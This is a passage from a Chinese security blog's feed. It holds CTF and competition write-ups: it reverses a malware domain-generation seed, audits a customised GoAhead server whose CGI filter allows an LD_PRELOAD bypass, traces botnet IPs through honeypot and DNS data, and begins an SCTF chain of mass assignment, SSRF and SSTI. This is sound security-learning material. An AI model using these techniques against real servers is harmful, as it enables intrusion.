class="number">0</span></span><br><span class="line"><span class="keyword">for</span> a <span class="keyword">in</span> index_list:</span><br><span class="line">    flag = <span class="literal">True</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> b:</span><br><span class="line">        <span class="keyword">if</span> (a + i - <span class="number">1</span>) <span class="keyword">not</span> <span class="keyword">in</span> index_list:</span><br><span class="line">            flag = <span class="literal">False</span></span><br><span class="line">    <span class="keyword">if</span> flag:</span><br><span class="line">        index = a</span><br><span class="line">        print(a)</span><br></pre></td></tr></table></figure><p>输出261726，也就是说这个域名是程序随机生成的第261726个域名。</p><p>现在我们需要通过现在的状态，还原初始种子。递推公式是<code>holdrand = holdrand * 214013L + 2531011L</code>，这里long类型会产生溢出，可能出现负数，导致无法直接逆推回去。</p><p>查阅c语言存储long类型的相关知识，原理是一个long类型用32bit存储，最高位作为正负标志位，其余31bit记录值，如果计算结果超出32bit，那就只取低32bit。</p><p>这里想了很久如何逆推解方程，最后发现其实不用管什么正负，因为生成的随机数是holdrand 32位中的高16位，无论怎么溢出，只要关心holdrand低32位就好了，即使正负标志位是1，我们也可以当成正常的32bit正数来计算。这样可以把问题转成解同余方程：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a*x+b&#x3D;c mod n</span><br></pre></td></tr></table></figure><p>n是2^32，a是214013L，b是2531011L，解方程直接减b再乘逆元就好了。</p><p>这个域名是第261726个生成的域名，我们只需要逆推 (261726-1)*19次状态，就可以还原到最初的seed。</p><p>Python脚本：    </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line">index = <span class="number">261726</span></span><br><span class="line">seed = <span class="number">682174533</span></span><br><span class="line">a_inv = invert(<span class="number">214013</span>, <span class="number">2</span> ** <span class="number">32</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">inv</span>():</span></span><br><span class="line">    <span class="keyword">global</span> seed</span><br><span class="line">    seed = ((seed - <span class="number">2531011</span>) * a_inv) % (<span class="number">2</span> ** <span class="number">32</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(index<span class="number">-1</span>):</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">19</span>):</span><br><span class="line">        inv()</span><br><span class="line"><span class="built_in">print</span> seed</span><br></pre></td></tr></table></figure><p>得到初始seed是77980108，然后生成dga域名就好了：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> seed = <span class="number">77980108</span>;</span><br><span class="line"><span class="keyword">char</span> res[<span class="number">24</span>];</span><br><span class="line"><span class="keyword">char</span> v11[<span class="number">36</span>]=<span class="string">&quot;abcdefghijklmnopqrstuvwxyz123456789&quot;</span>;</span><br><span class="line"><span class="keyword">char</span> *ext[]= &#123;<span class="string">&quot;.ru&quot;</span>,<span class="string">&quot;.com&quot;</span>,<span class="string">&quot;.net&quot;</span>,<span class="string">&quot;.biz&quot;</span>,<span class="string">&quot;.cn&quot;</span>&#125;;</span><br><span class="line"><span class="keyword">int</span> v1 = <span class="number">1</span>;</span><br><span class="line">srand(seed);</span><br><span class="line"><span class="keyword">int</span> v2,v3,v5,len,v7;</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">v2=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">res[<span class="number">0</span>]=<span class="number">0</span>;</span><br><span class="line">v7 = <span class="number">18</span>;</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">len=<span class="built_in">strlen</span>(res);</span><br><span class="line">res[len]=v11[rand()%<span class="number">34</span>];</span><br><span class="line">res[len+<span class="number">1</span>]=<span class="number">0</span>;</span><br><span class="line">v3 = v7-- == <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span>(!v3);</span><br><span class="line">v5 = rand();</span><br><span class="line"><span class="keyword">if</span>(v2==(v1<span class="number">-1</span>))&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%s%s\n&quot;</span>,res,ext[v5%<span class="number">5</span>]);</span><br><span class="line">&#125;</span><br><span class="line">++v2;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span>(v1!=v2);</span><br><span class="line">++v1;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span>(v1!=<span class="number">1001</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现给的100个域名都在我们生成的域名里，证明答案无误。</p><h1 id="僵尸网络分析题目一-Botnet追踪—追到我就让你嘿嘿嘿"><a href="#僵尸网络分析题目一-Botnet追踪—追到我就让你嘿嘿嘿" class="headerlink" title="僵尸网络分析题目一-Botnet追踪—追到我就让你嘿嘿嘿"></a>僵尸网络分析题目一-Botnet追踪—追到我就让你嘿嘿嘿</h1><p>这个题我评估后出题人根据我的反馈，对题目做了一定的调整。</p><h2 id="赛题信息-1"><a href="#赛题信息-1" class="headerlink" title="赛题信息"></a>赛题信息</h2><h3 id="设计说明-1"><a href="#设计说明-1" class="headerlink" title="设计说明"></a>设计说明</h3><p>Datacon software是一家以IOT产品开发为主要业务的公司，他们在开源Web server GoAhead的基础上定制了一款名为XGoAhead的Web server使用在自己的产品中。某天Datacon software收到外部情报反馈：其定制开发的XGoAhead疑似存在漏洞，且已遭到僵尸网络利用。现在你的任务是找到这个僵尸网络的C2域名。</p><h3 id="代码与数据说明"><a href="#代码与数据说明" class="headerlink" title="代码与数据说明"></a>代码与数据说明</h3><p>目前已知的线索如下</p><ul><li>XGoAhead最新版本源码</li><li>XGoAhead最新版本源码</li><li>Passive DNS数据</li></ul><p>提供的XGoAhead软件代码只能运行在Linux操作系统上且须使用make工具构建，推荐使用Ubuntu 18.04 x86_64或Centos 7 x86_64，不推荐在其他系统/平台上使用。</p><p>提供的公网Web蜜罐数据仅为蜜罐服务器接收到的来自公网的流量，远不能覆盖整个互联网的情况，仅为观测样本。</p><p>提供的Passive DNS仅为小范围Client IP的数据，远不能覆盖整个互联网的情况，仅为观测样本。</p><h3 id="数据格式"><a href="#数据格式" class="headerlink" title="数据格式"></a>数据格式</h3><ul><li>Web蜜罐数据</li></ul><p>该数据位于压缩包中的honeypot.json文件，其来源于公网部署的Web蜜罐，数据采集的时间范围是2020年5月。文件中每一行为一个JSON字符串，代表一条蜜罐日志，即针对蜜罐的一次HTTP请求，详细字段解释如下：</p><table><thead><tr><th>字段</th><th>解释</th></tr></thead><tbody><tr><td>eventid</td><td>事件类型，数据文件中均为“attack.web”</td></tr><tr><td>method</td><td>HTTP method</td></tr><tr><td>body</td><td>HTTP body</td></tr><tr><td>url</td><td>HTTP request URL</td></tr><tr><td>header</td><td>HTTP request headers</td></tr><tr><td>path</td><td>HTTP request path</td></tr><tr><td>protocol</td><td>应用层协议，数据文件中均为“http”</td></tr><tr><td>src_ip</td><td>源IP地址（已加盐哈希处理）</td></tr><tr><td>src_port</td><td>源端口</td></tr><tr><td>dst_port</td><td>目的端口</td></tr><tr><td>timestamp</td><td>数据捕获的时间（格林尼治时间）</td></tr></tbody></table><ul><li>Passive DNS 数据</li></ul><p>该数据位于access.cvs中，该数据表示DNS请求记录，即DNS客户端IP请求解析的域名记录。该数据采集于2020年5月的某一天。格式为CSV，每行三个字段，分别为“域名”、“客户端IP（已加盐哈希处理）”、“一小时内的请求次数”，请求时间已去除（脱敏）。</p><h3 id="提交形式-1"><a href="#提交形式-1" class="headerlink" title="提交形式"></a>提交形式</h3><p>题目修改前提交内容：</p><ul><li>可能利用XGoAhead漏洞的僵尸网络的C2域名</li></ul><p>答案通过文本文件提交，如果找到了多个C2域名则一行一个C2域名。文件使用ASCII编码，换行符为“\n”，文件末尾留一个空行。</p><ul><li>XGoAhead中漏洞所在的文件名和函数名（如果XGoAhead存在漏洞则需要提交该答案）</li></ul><p>通过文本文件提交，格式为“文件名:函数名”（冒号为英文冒号，大小写敏感），如存在多个漏洞则一行一个漏洞，换行符为“\n”，文件末尾留一个空行。</p><p>题目修改后提交内容：</p><ul><li>提交可能感染僵尸网络的IP</li></ul><h2 id="解题过程-1"><a href="#解题过程-1" class="headerlink" title="解题过程"></a>解题过程</h2><p>先讲下当时做题的过程。</p><p>题目要求找到这个僵尸网络的C2域名，并找出 xgoahead 漏洞点。</p><p>做题思路应该大致是这样</p><ol><li>源码审计，找出漏洞点</li><li>根据漏洞，从蜜罐流量中找出攻击流量</li><li>根据攻击流量的源IP，在 passive dns 中找出 C2 域名。</li></ol><h3 id="源码审计"><a href="#源码审计" class="headerlink" title="源码审计"></a>源码审计</h3><p>既然是基于 goahead 改的，先把 goahead 源码拉下来 diff 一下。goahead 网上的源码下载链接大多挂了，github也没了，在这里下到了 4.1.3 的源码：<a href="https://www.embedthis.com/goahead/download.html">https://www.embedthis.com/goahead/download.html</a></p><p>拉下来 diff 一下。</p><p><img src="/2020/08/16/2020-Datacon/image-20200723111342633.png" alt="image-20200723111342633"></p><p>主要的改动就是增加了一个 xcgi，这个 xcgi 看起来跟 cgi 功能差不多。其他没啥自己写的功能代码，搜一波 goahead 的漏洞：</p><p>CVE-2019-5096 有个RCE，参考 <a href="https://www.anquanke.com/post/id/194322">https://www.anquanke.com/post/id/194322</a>，不过 xgoahead 已经修复了。</p><p>CVE-2017-17562 有个 cgi 的 RCE，参考 <a href="https://xz.aliyun.com/t/6407#toc-2">https://xz.aliyun.com/t/6407#toc-2</a>， xgoahead 也修复了，是官方的解决方案：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">envp = walloc(envpsize * <span class="keyword">sizeof</span>(<span class="keyword">char</span>*));</span><br><span class="line"><span class="keyword">if</span> (wp-&gt;vars) &#123;</span><br><span class="line">    <span class="keyword">for</span> (n = <span class="number">0</span>, s = hashFirst(wp-&gt;vars); s != <span class="literal">NULL</span>; s = hashNext(wp-&gt;vars, s)) &#123;</span><br><span class="line">        <span class="keyword">if</span> (s-&gt;content.valid &amp;&amp; s-&gt;content.type == <span class="built_in">string</span>) &#123;</span><br><span class="line">            vp = strim(s-&gt;name.value.<span class="built_in">string</span>, <span class="number">0</span>, WEBS_TRIM_START);</span><br><span class="line">            <span class="keyword">if</span> (smatch(vp, <span class="string">&quot;REMOTE_HOST&quot;</span>) || smatch(vp, <span class="string">&quot;HTTP_AUTHORIZATION&quot;</span>) ||</span><br><span class="line">                smatch(vp, <span class="string">&quot;IFS&quot;</span>) || smatch(vp, <span class="string">&quot;CDPATH&quot;</span>) ||</span><br><span class="line">                smatch(vp, <span class="string">&quot;PATH&quot;</span>) || sstarts(vp, <span class="string">&quot;LD_&quot;</span>)) &#123;</span><br><span class="line">                <span class="keyword">continue</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (s-&gt;arg != <span class="number">0</span> &amp;&amp; *ME_GOAHEAD_CGI_VAR_PREFIX != <span class="string">&#x27;\0&#x27;</span>) &#123;</span><br><span class="line">                envp[n++] = sfmt(<span class="string">&quot;%s%s=%s&quot;</span>, ME_GOAHEAD_CGI_VAR_PREFIX, s-&gt;name.value.<span class="built_in">string</span>,</span><br><span class="line">                    s-&gt;content.value.<span class="built_in">string</span>);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                envp[n++] = sfmt(<span class="string">&quot;%s=%s&quot;</span>, s-&gt;name.value.<span class="built_in">string</span>, s-&gt;content.value.<span class="built_in">string</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            trace(<span class="number">0</span>, <span class="string">&quot;Env[%d] %s&quot;</span>, n, envp[n<span class="number">-1</span>]);</span><br><span class="line">            <span class="keyword">if</span> (n &gt;= envpsize) &#123;</span><br><span class="line">                envpsize *= <span class="number">2</span>;</span><br><span class="line">                envp = wrealloc(envp, envpsize * <span class="keyword">sizeof</span>(<span class="keyword">char</span> *));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>增加了过滤。</p><p>但是 xcgi 没有这么严格的过滤，只过滤了 LD_:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">    Check if request is safe.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">beSafe</span><span class="params">(Webs *wp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (wp-&gt;query != <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">strstr</span>(wp-&gt;query, <span class="string">&quot;LD_&quot;</span>) != <span class="literal">NULL</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里应该是漏洞点。（<del>并不知道如何 bypass</del>）</p><p>跟那个漏洞，还发现一处奇怪的地方:</p><p><img src="/2020/08/16/2020-Datacon/image-20200723152238069.png" alt="image-20200723152238069"></p><p>Xgoahead 对临时文件的文件名处理，把 count++ 取消了，那一直都是只能写那一个文件。</p><h3 id="数据分析"><a href="#数据分析" class="headerlink" title="数据分析"></a>数据分析</h3><p>数据量较大，做分析处理比较麻烦，考虑导入数据库，方便后续操作。试了很多种方法，最后还是用 Python 解析数据再入库。</p><p>倒入数据库脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: UTF-8 -*-</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> pymysql</span><br><span class="line"></span><br><span class="line">db = pymysql.connect(<span class="string">&quot;localhost&quot;</span>, <span class="string">&quot;root&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="string">&quot;datacon&quot;</span>)</span><br><span class="line">cursor = db.cursor()</span><br><span class="line"></span><br><span class="line">path1 = <span class="string">&quot;access.csv&quot;</span></span><br><span class="line">sql = <span class="string">&#x27;INSERT INTO access(id,domain,ip_hash,times) VALUES (%s,%s,%s,%s)&#x27;</span></span><br><span class="line"><span class="built_in">id</span> = <span class="number">1</span></span><br><span class="line">error = <span class="number">0</span></span><br><span class="line">tmp = []</span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(path1, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        line_data = f.readline()</span><br><span class="line">        <span class="keyword">if</span> line_data:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                domain,ip_hash,times = line_data.strip().split(<span class="string">&quot;,&quot;</span>)</span><br><span class="line">            <span class="keyword">except</span>:</span><br><span class="line">                print(<span class="built_in">id</span>,line_data.strip().split(<span class="string">&quot;,&quot;</span>))</span><br><span class="line">                error += <span class="number">1</span></span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            tmp.append((<span class="built_in">id</span>,domain,ip_hash,<span class="built_in">int</span>(times)))</span><br><span class="line">            <span class="built_in">id</span> += <span class="number">1</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                cursor.executemany(sql, tmp)</span><br><span class="line">                db.commit()</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                print(e)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">id</span> % <span class="number">500</span> == <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                cursor.executemany(sql, tmp)</span><br><span class="line">                db.commit()</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                print(e)</span><br><span class="line">            tmp = []</span><br><span class="line">print(error)</span><br></pre></td></tr></table></figure><p>处理数据时，Access.csv 部分数据有些问题，如6416行，217333行，直接跳过处理了，还不少，大部分是多了请求的ip。</p><p><img src="/2020/08/16/2020-Datacon/image-20200722223835665.png" alt="image-20200722223835665"></p><p>绝大部分请求ip都是 cfda2160b0298e40a2d3fbe79e8d309a，感觉对做题没啥影响，因为蜜罐数据里根本就没有这个ip。</p><p>导入库后，大体观察一下，寻找漏洞特征。</p><p>如果利用 xcgi 那个漏洞，按照 xgoahead 源码的路由，要访问 /xcgi，不过没发现这样的流量。需要上传恶意 so 文件，流量里也有传 elf 的。</p><p><img src="/2020/08/16/2020-Datacon/image-20200723152421269.png" alt="image-20200723152421269"></p><p>（不过发现有的 elf 拖下来逆向分析，没啥恶意行为）</p><p>看一下有多少 ip 发出了上传 so 的请求：</p><p><img src="/2020/08/16/2020-Datacon/image-20200723152527842.png" alt="image-20200723152527842"></p><p>发现是 65 个，可以把这些 ip 拿出来，去 access.csv 看一下这些 ip 的 dns请求。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: UTF-8 -*-</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> pymysql</span><br><span class="line"></span><br><span class="line">db = pymysql.connect(<span class="string">&quot;localhost&quot;</span>, <span class="string">&quot;root&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="string">&quot;datacon&quot;</span>)</span><br><span class="line">cursor = db.cursor()</span><br><span class="line"></span><br><span class="line">cursor.execute(<span class="string">&quot;select distinct src_ip from honeypot  where locate(&#x27;7fELF&#x27;,body)&gt;0&quot;</span>)</span><br><span class="line">elf_ip = []</span><br><span class="line"><span class="keyword">for</span> data <span class="keyword">in</span> cursor.fetchall():</span><br><span class="line">    elf_ip.append(data[<span class="number">0</span>])</span><br><span class="line"><span class="keyword">for</span> ip <span class="keyword">in</span> elf_ip:</span><br><span class="line">    cursor.execute(<span class="string">&quot;select distinct domain from access where ip_hash=&#x27;%s&#x27;&quot;</span>%ip)</span><br><span class="line">    print(cursor.fetchall())</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>发现 passivedns 中只有其中两个 ip 的记录 ： 625210b633ed23166798790a3180b6dc 与 eef5239efd6c7cc9f2e08f4a6f45d76b。看了下蜜罐流量，两个 ip 都是只有一条记录，上传的 elf 拖下来看了下也是恶意的：</p><p><img src="/2020/08/16/2020-Datacon/image-20200723165321651.png" alt="image-20200723165321651"></p><p>而且文件名有 <code>tmp/tmp-0.tmp</code>，和之前修改的那部分代码可以对应上。</p><p>看起来这两个 ip 还请求了不少正常的域名，C2 域名应该是公共的吧，把这两个 ip 请求的域名取下交集，人工看一下，找到了一个 .ga 后缀的域名，这个域名就是最终的C2域名。</p><p>PS：流量里 bypass 过滤的方法是把 LD_PRELOAD 放到表单里上传。</p><h2 id="题目修改"><a href="#题目修改" class="headerlink" title="题目修改"></a>题目修改</h2><p>出题人本意是想让选手先分析处漏洞bypass的利用方式，再通过exp找攻击过流量，最后找C2域名。显然我的方法属于把答案偷了出来。一波讨论出题人对题目进行了一些修改：</p><ol><li>提交内容改成了可能受感染的IP。</li><li>xgoahead代码进行了调整，把 count++ 那块的修改移除了（太刻意了），增大选手分析难度。</li><li>之前我把所有上传elf的ip都去 passivedns 查了个遍，有dns记录的ip就是攻击ip，出题人这次把流量中的攻击ip增加了两个，同时 dns 中还没有相应请求记录。不过可以按照我原来的方法找到那两个ip，回过头分析流量中exp特征，再筛选这样就可以找出全部的四个ip了，所以出题人最后应该是在passivedns中删除了这四个ip的请求记录。</li><li>对流量中上传的 elf 做了些文章，选手需要去分析恶意elf的行为，从而通过 passivedns 找出剩余的受感染 IP。</li></ol><p>所以题目正解过程如下：</p><ol><li>分析漏洞，找到 bypass WAF方式。</li><li>通过exp，提取攻击流量，获得四个IP。</li><li>分析ELF行为，去 passivedns 里找出剩下的 IP。</li></ol><p>后面分析 ELF 部分我没有做了，详细可见阿里云安全的 writeup：<a href="https://zhuanlan.zhihu.com/p/186254809?utm_source=wechat_session&utm_medium=social&utm_oi=771453567763492864&utm_content=sec&wechatShare=2&s_r=0">https://zhuanlan.zhihu.com/p/186254809?utm_source=wechat_session&amp;utm_medium=social&amp;utm_oi=771453567763492864&amp;utm_content=sec&amp;wechatShare=2&amp;s_r=0</a></p><p>不过题目还是有一些投机取巧的办法的，可以把所有上传elf的流量都拖下来，就60多个ip传了elf，然后可以人工分析一波，应该就两种流量，这样就可以在无法 bypass WAF的情况下找到攻击流量。这种方法最后也没有堵死，留一种trick的做题方法23333。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>本次赛题评估还是学到了不少东西的。</p><ol><li>勉强算是入了门逆向orz</li><li>sample3 这个逆推思路比较新颖，CTF的密码学题目也没接触过这类</li><li>大数据流量的分析，靠手工和 python 脚本分析不够方便，入库操作还是比较舒服</li><li>学习了 xgoahead bypass WAF的姿势，其实分析那个漏洞需要动态调 C，自己也不太熟</li><li>…</li></ol><p>看到今年 Datacon 圆满结束，希望大家也能在这次 Datacon 中有所收获！</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;去年参加了Datacon DNS恶意流量方向的比赛，拿了第五，差点拿到奖orz，今年参加了部分赛题的内部评估，以下是做题记录。&lt;/p&gt;</summary>
    
    
    
    
    <category term="Datacon" scheme="https://igml.top/tags/Datacon/"/>
    
  </entry>
  
  <entry>
    <title>2020 SCTF 部分wp</title>
    <link href="https://igml.top/2020/07/06/2020-SCTF/"/>
    <id>https://igml.top/2020/07/06/2020-SCTF/</id>
    <published>2020-07-06T03:56:38.000Z</published>
    <updated>2020-07-08T09:54:09.139Z</updated>
    
    <content type="html"><![CDATA[<p>Syclover 比较良心，比赛结束不久就放出了 docker 与 wp：<a href="https://github.com/SycloverSecurity/SCTF2020">https://github.com/SycloverSecurity/SCTF2020</a>。跟着复现学习一下。</p><a id="more"></a><h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="CloudDisk"><a href="#CloudDisk" class="headerlink" title="CloudDisk"></a>CloudDisk</h2><p>参考：<a href="https://github.com/dlau/koa-body/issues/75">https://github.com/dlau/koa-body/issues/75</a>。</p><p>flag在当前目录下：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-8f0ae75ab256e48f.png" alt="image.png"></p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-9e25d7938f052509.png" alt="image.png"></p><h2 id="Jsonhub"><a href="#Jsonhub" class="headerlink" title="Jsonhub"></a>Jsonhub</h2><p>主要参考：<a href="https://evi0s.com/2020/07/06/sctf-2020-web-writeup/">https://evi0s.com/2020/07/06/sctf-2020-web-writeup/</a>。</p><p>给了docker，分析源码。</p><p>我们需要getshell，web2 里有个明显的 SSTI，但是 web2 开在默认的 5000 端口没有映射出来，显然是通过 web1 进行 SSRF。web1 中 rpc可以发出 post 请求，但是需要本地访问，/home 路由提供了一个 SSRF 的功能，所以我们的思路很清晰了：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;home处SSRF -&gt; flask_rpc处SSRF请求web2 -&gt; web2处SSTI getshell</span><br></pre></td></tr></table></figure><p>但是这中间有很多阻碍：</p><ol><li>我们需要拿到 token，才可以使用 /home 处的 SSRF 功能；</li><li>/home 的 SSRF 对 ip 限制为 39.104.19.182，而我们要 127.0.0.1，需要bypass；</li><li>web2 对 SSTI 进行了过滤，需要绕过 <code>before_request</code> 与正则。</li></ol><h3 id="获取-token"><a href="#获取-token" class="headerlink" title="获取 token"></a>获取 token</h3><p>可以发现，登陆 admin 可以拿到 token。</p><p>问题出在注册这里：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">reg</span>(<span class="params">request</span>):</span></span><br><span class="line">    <span class="keyword">if</span> request.method == <span class="string">&quot;GET&quot;</span>:</span><br><span class="line">        <span class="keyword">return</span> render(request, <span class="string">&quot;templates/reg.html&quot;</span>)</span><br><span class="line">    <span class="keyword">elif</span> request.method == <span class="string">&quot;POST&quot;</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            data = json.loads(request.body)</span><br><span class="line">        <span class="keyword">except</span> ValueError:</span><br><span class="line">            <span class="keyword">return</span> JsonResponse(&#123;<span class="string">&quot;code&quot;</span>: <span class="number">-1</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;Request data can&#x27;t be unmarshal&quot;</span>&#125;)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(User.objects.<span class="built_in">filter</span>(username=data[<span class="string">&quot;username&quot;</span>])) != <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">return</span> JsonResponse(&#123;<span class="string">&quot;code&quot;</span>: <span class="number">1</span>&#125;)</span><br><span class="line">        User.objects.create_user(**data)</span><br><span class="line">        <span class="keyword">return</span> JsonResponse(&#123;<span class="string">&quot;code&quot;</span>: <span class="number">0</span>&#125;)</span><br></pre></td></tr></table></figure><p>把 json loads 之后全部传进了 create_user，导致 <a href="https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html">Mass Assignment vulnerability</a>。</p><p>本地剪个 admin 账户：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 